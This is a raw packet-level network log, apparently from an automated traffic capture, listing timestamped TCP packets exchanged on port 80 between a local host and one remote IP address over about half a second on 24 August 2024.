Aug 24, 2024 11:02:01.871305943 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.871337891 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961472034 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961488962 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961498976 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961515903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961534977 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961546898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961558104 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961571932 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961584091 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961587906 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961592913 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961597919 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961616039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961627960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961644888 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961711884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961723089 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961745024 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961756945 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961766958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961779118 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961796045 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961808920 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961822987 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961834908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961846113 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961858034 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961877108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961878061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961878061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961878061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961878061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961878061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961878061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961878061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961879015 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961886883 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961899042 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961908102 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961911917 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961920023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961946011 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.961949110 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961982012 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.961999893 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962007046 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962012053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962039948 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962104082 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962116003 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962126017 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962147951 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962167025 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962178946 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962182999 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962188959 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962199926 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962213039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962218046 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962236881 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962258101 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962338924 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962351084 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962362051 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962372065 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962382078 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962393045 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962404013 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962425947 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962444067 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962455988 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962466955 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962479115 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962496042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962510109 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962515116 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962521076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962533951 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962543964 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962555885 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962567091 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962572098 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962594032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962596893 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962604046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962615967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962619066 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962627888 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962645054 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962650061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962656975 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962667942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962678909 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962682962 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962706089 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962728977 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962735891 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962747097 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962757111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962769032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962789059 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962809086 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962820053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962831020 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962837934 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962862968 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962876081 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962918997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962929964 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962939978 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962949991 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962968111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962973118 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.962979078 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.962990046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963000059 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963016987 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963042021 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963098049 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963114977 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963125944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963138103 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963145971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963149071 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963162899 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963175058 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963176012 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963186026 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963196993 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963198900 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963212013 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963219881 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963228941 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963239908 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963242054 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963253021 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963255882 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963258982 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963295937 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963316917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963329077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963339090 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963351965 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963363886 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963371992 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963381052 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963382959 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963395119 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963404894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963417053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963418007 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963427067 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963438034 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963449001 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963460922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963470936 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963505030 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963505983 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963516951 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963551998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963603973 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963617086 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963627100 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963639021 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963650942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.963650942 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963670969 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.963701010 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.053931952 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.053961992 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.053977966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054016113 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054044962 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054055929 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054069042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054073095 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054084063 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054097891 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054112911 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054115057 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054127932 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054138899 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054140091 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054148912 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054161072 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054161072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054172039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054183960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054200888 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054202080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054213047 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054230928 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054231882 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054248095 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054256916 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054260015 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054275990 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054280996 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054286957 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054306030 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054311037 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054322958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054335117 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054343939 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054346085 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054358959 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054368973 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054373980 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054382086 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054393053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054409981 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054426908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054433107 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054438114 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054446936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054459095 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054469109 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054480076 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054491043 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054508924 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054518938 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054521084 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054541111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054553032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054554939 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054563046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054574013 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054578066 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054603100 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054610014 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054615974 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054626942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054636002 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054641962 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054647923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054660082 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054672003 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054681063 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054689884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054702997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054709911 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054739952 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054743052 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054752111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054764032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054775953 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054780960 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054799080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054822922 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054840088 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054847956 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054852009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054883003 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054924011 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054934025 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054944992 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.054975033 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.054986000 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.115992069 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.122328997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290821075 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290847063 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290860891 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290872097 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290883064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290894985 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290906906 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290920019 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290920019 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.290931940 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290944099 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290958881 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.290961027 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290977001 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290977001 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.290987015 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.290997982 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291004896 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291009903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291023016 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291028023 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291050911 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291081905 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291172981 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291184902 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291194916 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291205883 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291218042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291229010 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291230917 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291239977 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291250944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291261911 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291263103 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291274071 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291287899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291312933 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291505098 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291516066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291527033 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291538000 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291548967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291558981 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291563034 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291568995 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291579962 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291599989 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291610956 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291610956 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291623116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291634083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291642904 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291645050 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291662931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291675091 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291676998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291686058 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291697979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291701078 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291712999 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291723013 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291737080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291737080 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291748047 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291757107 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291758060 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291774035 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291790009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291790009 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291802883 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291814089 CEST	80	49704	104.194.151.11	192.168.2.5
